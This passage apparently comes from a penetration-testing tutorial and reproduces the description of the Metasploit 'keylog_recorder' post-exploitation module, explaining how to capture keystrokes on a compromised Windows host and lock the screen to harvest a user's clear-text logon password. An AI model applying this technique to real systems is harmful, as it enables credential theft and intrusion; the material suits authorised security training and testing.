keylog_recorder

The keylog_recorder post module captures keystrokes on the compromised system. Note that you will want to ensure that you have migrated to an interactive process prior to capturing keystrokes.

  SESSION                        yes       The session to run this module on.

Description:
  This module can be used to capture keystrokes. To capture keystrokes
  when the session is running as SYSTEM, the MIGRATE option must be
  enabled and the CAPTURE_TYPE option should be set to one of
  Explorer, Winlogon, or a specific PID. To capture the keystrokes of
  the interactive user, the Explorer option should be used with
  MIGRATE enabled. Keep in mind that this will demote this session to
  the user's privileges, so it makes sense to create a separate
  session for this task. The Winlogon option will capture the username
  and password entered into the logon and unlock dialog. The
  LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to
  for the user to enter their clear-text password. It is recommended
  to run this module as a job, otherwise it will tie up your framework
  user interface.

After we have finished sniffing keystrokes, or even while the sniffer is still running, we can dump the captured data.
